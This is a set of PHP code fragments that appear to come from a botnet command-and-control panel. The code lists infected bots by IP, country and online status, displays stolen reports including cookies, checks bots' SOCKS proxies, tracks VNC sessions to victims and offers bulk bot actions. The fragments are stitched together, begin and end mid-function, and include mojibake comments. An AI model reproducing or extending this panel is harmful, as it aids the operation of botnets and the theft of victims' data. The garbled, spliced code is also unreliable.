function actionIndex() { ThemeBegin(LNG_MM_REPORTS_FAV, 0, getBotJsMenu('botmenu'), 0); $db = dbPDO::singleton(); // Query: favorite bots $q = $db->query('SELECT `b`.`bot_id` AS `botId`, `b`.`comment` AS `bot_comment`, UNIX_TIMESTAMP() - `b`.rtime_last AS `bot_online_time` FROM `botnet_list` `b` WHERE `b`.`favorite`=1 ORDER BY `rtime_last` DESC ;'); if (1 || $q->rowCount()) { echo '<table id="favorite-bots-list" class="lined zebra">', '<caption>', 'Bots', '</caption>', '<THEAD><tr>', '<th>', 'Bot Id', '</th>', '<th>', 'Comment', '</th>', '</tr></THEAD>', '<TBODY>'; while ($bot = $q->fetchObject()) { $bot_online = $bot->bot_online_time && $bot->bot_online_time <= $GLOBALS['config']['botnet_timeout']; echo '<tr data-botid="', htmlentities($bot->botId), '">', '<th>', botPopupMenu($bot->botId, 'botmenu', $bot->bot_comment, $bot_online), '</th>', '<td>', htmlspecialchars($bot->bot_comment), '</td>', '</tr>'; } echo '</TBODY></table>'; } // Query: favorite reports $q = $db->prepare(' SELECT `fav`.`id`, `fav`.`table`, `fav`.`report_id`, `fav`.`botId`, `fav`.`rtime`, `fav`.`path_source`, `fav`.`favtime`, `fav`.`comment`, UNIX_TIMESTAMP() - `b`.rtime_last AS `bot_online_time`, `b`.`comment` AS `bot_comment` FROM `botnet_rep_favorites` `fav` LEFT JOIN `botnet_list` `b` ON(`fav`.`botId` = `b`.`bot_id`) WHERE `fav`.`favorite`>=0 ORDER BY `favtime` DESC '); $q->setFetchMode(PDO::FETCH_OBJ); $q->execute(); // Display echo '<table id="favorite-reports-list" class="lined zebra">', '<caption>', 'Reports', '</caption>', '<THEAD><tr>', '<th>', LNG_REPORTS_TH_BOT_REPORT, '</th>', '<th>', LNG_REPORTS_TH_RTIME, '</th>', '<th>', LNG_REPORTS_TH_COMMENT, '</th>', '</tr></THEAD>', '<TBODY>'; foreach ($q as $report) { $bot_online = $report->bot_online_time && $report->bot_online_time <= $GLOBALS['config']['botnet_timeout']; $report_url = sprintf('?m=reports_db&t=%s&id=%s', $report->table, $report->report_id); echo '<tr data-ajax="id=', $report->id, '">'; echo '<th>', botPopupMenu($report->botId, 'botmenu', $report->bot_comment, $bot_online), '<a class="report" href="', $report_url, '" target="_blank">[+] ', htmlspecialchars(empty($report->path_source) ? date('d.m.Y H:i:s', $report->rtime) : $report->path_source), '</a>', '</th>'; echo '<td class="rtime">', date('d.m.Y H:i:s', $report->rtime), '</td>'; echo '<td class="comment" contentEditable="false">', str_replace("\n", '<p>', htmlspecialchars($report->comment)), '</td>'; echo '</tr>'; } echo '</TBODY>', '</table>'; echo LNG_HINT_CONTEXT_MENU; echo <<<HTML \t\t<link rel="stylesheet" href="theme/js/contextMenu/src/jquery.contextMenu.css" /> \t\t<script src="theme/js/contextMenu/src/jquery.contextMenu.js"></script> \t\t<script src="theme/js/contextMenu/src/jquery.ui.position.js"></script> \t\t<script src="theme/js/page-reports_fav.js"></script> HTML; }
} mysql_free_result($r); unset($m); $data = str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(3, LNG_BA_PORT_SOCKS_TITLE), THEME_LIST_TITLE); $i = 0; $jsList = ''; //Выводим результат. foreach ($blist as $bot) { $isExists = isset($res[$bot]); $item = $i++ % 2 == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2; if ($isExists) { $l = $res[$bot]; $ipv4 = binaryIpToString($l[2]); $jsList .= ($jsList == '' ? '' : ', ') . "['st{$i}', '" . addJsSlashes(urlencode($ipv4)) . "', '" . addJsSlashes(urlencode($l[3])) . "']"; } $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($bot, 'botmenu') . THEME_STRING_SPACE . '/' . THEME_STRING_SPACE . ($isExists ? $l[1] : '--')), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? htmlEntitiesEx($ipv4 . ':' . $l[3]) : '-:-'), $item) . str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $isExists ? str_replace('{ID}', 'st' . $i, THEME_STRING_ID_BEGIN) . LNG_BA_PORT_SOCKS_CHECKING . THEME_STRING_ID_END : LNG_BA_PORT_SOCKS_FAILED), $item) . THEME_LIST_ROW_END; } //Скрипт для проверки соксов. $ajaxError = addJsSlashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR)); $ajaxInit = jsXmlHttpRequest('socksHttp'); $q = addJsSlashes(QUERY_SCRIPT . '?botsaction=port_socks&bots[]=0'); $ajax = <<<JS_SCRIPT var socksList = [{$jsList}]; var socksHttp = false; function stateChange(i){if(socksHttp.readyState == 4) { var el = document.getElementById(socksList[i][0]); if(socksHttp.status == 200 && socksHttp.responseText.length > 5)el.innerHTML = socksHttp.responseText; else el.innerHTML = '{$ajaxError}'; SocksCheck(++i);
$offset = ($curPage - 1) * BOTS_PER_PAGE; if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) { $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $i = 0; while ($mt = @mysql_fetch_row($r)) { //IPv4. $ipv4 = binaryIpToString($mt[4]); //Метка NAT. if ($mt[3] == 0) { $ipv4 .= '*'; } $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1; $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END; $i++; } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списока дейтвий. /////////////////////////////////////////////////////////////////////////////////////////////////// $actions = ''; if ($pageCount > 0 && count($botMenu) > 0) { $data = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); foreach ($botMenu as $item) { $data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM); } $data .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI); $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END; }
$fb_R = mysql_query('SELECT bot_id, comment FROM `botnet_list` WHERE `comment`<>"";'); while (!is_bool($fb_r = mysql_fetch_row($fb_R))) { $favorite_bots[$fb_r[0]] = $fb_r[1]; } echo '<ul class="bot-search-results">'; //Выводим результат. $nn = $filter['nonames']; while ($m = mysql_fetch_row($r)) { //Запись нового имени бота. if ($nn === 0 && strcasecmp($m[1], $last_botid) !== 0) { if ($last_botid !== 0) { echo '</ol></li>'; } # /ol.bot-reports, /ul.bots li $last_botid = $m[1]; echo '<li>', '<div class="bot-header">', '<div class="botid">', '<input type="checkbox" name="bots[]" value="', htmlentities($m[1]), '" /> ', botPopupMenu($m[1], 'botmenu', isset($favorite_bots[$m[1]]) ? $favorite_bots[$m[1]] : ''), empty($favorite_bots[$m[1]]) ? '' : "<span class=\"favbot-comment\">( {$favorite_bots[$m[1]]} )</span>", '</div>', '<div class="bot-info">', htmlEntitiesEx(($m[2] != '??' ? $m[2] . ', ' : '') . $m[3]), '</div>', '</div>', '<ol class="bot-reports" data-botid="' . htmlentities($m[1]) . '">'; } //Запись заголовка лога. $st1 = trim($m[4]); $st2 = trim($m[5]); if (mb_strlen($st1) >= REPORT_PREVIEW_MAX_CHARS) { $st1 .= '...'; } if (mb_strlen($st2) >= REPORT_PREVIEW_MAX_CHARS) { $st2 .= '...'; } $text = ''; switch ($m[6]) { case BLT_COOKIES: $text = LNG_BLT_COOKIES; break;
$cmd_parsed[] = $parsed; } } } # Display echo '<table border=1 id="cmdlist">'; echo '<THEAD><tr>', '<th>#</th>', '<th>BotID</th>'; foreach ($cmd_columns as $c => $islong) { echo "<th>{$c}</th>"; } echo '</tr></THEAD>'; echo '<TBODY>'; foreach ($cmd_parsed as $row) { print '<tr>'; echo '<td' . ($row[-1] ? ' class="favorite"' : '') . '>', $row[0], '</td>'; echo '<td>', botPopupMenu($row[1], 'botmenu', isset($favorite_bots[$row[1]]) ? $favorite_bots[$row[1]] : ''), '</td>'; foreach ($cmd_columns as $cname => $islong) { print '<td>'; if (!isset($row[$cname]) || !$row[$cname]) { print ' </td>'; continue; } if ($islong) { print '<a class="tdexpand" href="#">[ + ]</a><div class="tdexpand">'; } if (isset($row[$cname])) { if (is_scalar($row[$cname])) { print htmlspecialchars($row[$cname]); } else { print '<ol>'; foreach ($row[$cname] as $l) {
} $bots_count = $mt[0]; } //Получение списка элементов. $offset = ($cur_page - 1) * BOTS_PER_PAGE; $blist = ''; if (!$r || !($r = mysqlQueryEx('botnet_scripts_stat', "SELECT type, bot_id, bot_version, rtime, report FROM botnet_scripts_stat WHERE extern_id='" . addslashes($m[10]) . "' {$sortmode} LIMIT {$offset}, " . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) { $blist = THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_REPORTS_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $i = 0; while ($mt = @mysql_fetch_row($r)) { $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $theme_cb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1; $status = $mt[0] == 1 ? LNG_BOTNET_REPORTS_SSENDED : ($mt[0] == 2 ? LNG_BOTNET_REPORTS_SREADY : LNG_BOTNET_REPORTS_SERROR); $blist .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[1]), ''), $theme_cb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[3]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[1], 'botmenu')), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[4])), $theme_text) . THEME_LIST_ROW_END; $i++; } } //Создание списока дейтвий. $actions = ''; if ($bots_count > 0 && count($botMenu) > 0) { $actions = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); foreach ($botMenu as $item) { $actions .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM); } $actions .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT); $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $actions, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END; } //Вывод таблицы. $data .= THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('reportslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_REPORTS, numberFormatAsInt($bots_count))), THEME_DIALOG_TITLE) . $page_list . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_REPORTS_RTIME, 0, 1) . writeSortColumn(LNG_BOTNET_REPORTS_TYPE, 1, 0) . writeSortColumn(LNG_BOTNET_REPORTS_BOTID, 2, 0) . writeSortColumn(LNG_BOTNET_REPORTS_VERSION, 3, 1) . writeSortColumn(LNG_BOTNET_REPORTS_REPORT, 4, 0) . THEME_LIST_ROW_END . $blist . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END;
function TitleAsPathNavigator($path) { $_url_subdir = QUERY_STRING_HTML . '&path=&sub='; $str = ''; $list = explode('/', str_replace('\\', '/', $path)); $p = ''; $i = 0; foreach ($list as $k) { if ($i++ == 2) { $str .= '/' . botPopupMenu(urldecode($k), 'botmenu'); } else { $str .= '/' . str_replace(array('{URL}', '{TEXT}'), array($_url_subdir . htmlEntitiesEx(urlencode($p . $k)), htmlEntitiesEx(urldecode($k))), THEME_LIST_ANCHOR); } $p .= $k . '/'; } echo str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(COLUMNS_COUNT, $str == '' ? '/' : $str), THEME_LIST_TITLE); }
); echo '<table id="bots-list" class="lined">'; echo '<THEAD><tr>', '<th>', LNG_BOTS_LIST_TH_BOT, '</th>', '<th>', $CLICKSORT->field_render('bot_os', LNG_BOTS_LIST_TH_BOT_INFO), '</th>', '<th>', $CLICKSORT->field_render('ctime', LNG_BOTS_LIST_TH_BOT_STATUS), '</th>', '<th>', LNG_BOTS_LIST_TH_CONN_STATUS, '</th>', '<th>', LNG_BOTS_LIST_TH_CONNECTION_INFO, '</th>', '</tr></THEAD>'; echo '<TBODY>'; while ($R && !is_bool($r = mysql_fetch_assoc($R))) { $classes = array(); $bot_online = (bool) $r['bot_online']; $conn_online_time = time() - $r['ctime']; $conn_is_online = $conn_online_time < VNC_RECONNECT_THRESHOLD * 2; $classes[] = $bot_online ? 'bot_online' : 'bot_offline'; $classes[] = $conn_is_online ? 'conn_online' : 'conn_offline'; if ($r['do_connect'] < 0) { $classes[] = 'autoconnect'; } echo '<tr', $classes ? ' class="' . implode(' ', $classes) . '"' : '', ' data-href="&bot=', urlencode($r['bot_id']), '">'; echo '<td>', botPopupMenu($r['bot_id'], 'botmenu', $r['bot_comment']), '</td>'; echo '<td>', 'OS: ', osDataToString($r['bot_os']), '</td>'; echo '<td>', $bot_online ? LNG_BOTS_LIST_BOT_STATUS_ONLINE . ': ' . tickCountToText($r['bot_online']) : LNG_BOTS_LIST_BOT_STATUS_OFFLINE, ' , ', LNG_BOTS_LIST_BOT_STATUS_LAST_LIFESIGN, ' ', date_short($r['bot_rtime_last']), '</td>'; echo '<td>'; # connection status: online, online (persistent), offline + time if ($conn_is_online) { # connected echo LNG_BOTS_LIST_STATUS_CONNECTED, ': ', tickCountToText($conn_online_time); } else { # idle, waiting, disconnected if ($r['do_connect'] == 0) { echo $r['ctime'] == 0 ? LNG_BOTS_LIST_STATUS_IDLE : LNG_BOTS_LIST_STATUS_DISCONNECTED; } else { echo LNG_BOTS_LIST_STATUS_WAITING; } # last time was online
$GLOBALS['_next_bot_popupmenu__'] = $filter['date']; $q = 'SELECT id, bot_id, country, ipv4, SUBSTRING(context, 1, ' . REPORT_PREVIEW_MAX_CHARS . '), SUBSTRING(path_source, 1, ' . REPORT_PREVIEW_MAX_CHARS . '), type FROM ' . $table . $query1 . $query2; $r = mysqlQueryEx($table, $q); if (!$r) { die(mysqlErrorEx()); } if (mysql_affected_rows() == 0) { die(LNG_REPORTS_DATE_NOREPORTS); } //R'S <RІRѕRґReRј SЂRμR · SѓR "SЊS, P ° C. $nn = $filter['nonames']; while ($m = mysql_fetch_row($r)) { //P-P ° RїReSЃSЊ RЅRѕRІRѕRіRѕ ReRјRμRЅRe P ± RѕS, P °. if ($nn === 0 && strcasecmp($m[1], $last_botid) !== 0) { $last_botid = $m[1]; echo THEME_STRING_NEWLINE . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($m[1]), ''), THEME_DIALOG_ITEM_INPUT_CHECKBOX_3) . THEME_STRING_SPACE . botPopupMenu($m[1], 'botmenu') . THEME_STRING_NEWLINE . htmlEntitiesEx($m[2] . ', ' . $m[3]) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE; } //P-P ° P RїReSЃSЊ · P ° RіRѕR "RѕRІRєR ° P" RѕRіR °. $st1 = trim($m[4]); $st2 = trim($m[5]); if (mb_strlen($st1) >= REPORT_PREVIEW_MAX_CHARS) { $st1 .= '...'; } if (mb_strlen($st2) >= REPORT_PREVIEW_MAX_CHARS) { $st2 .= '...'; } $text = ''; switch ($m[6]) { case BLT_COOKIES: $text = LNG_BLT_COOKIES; break;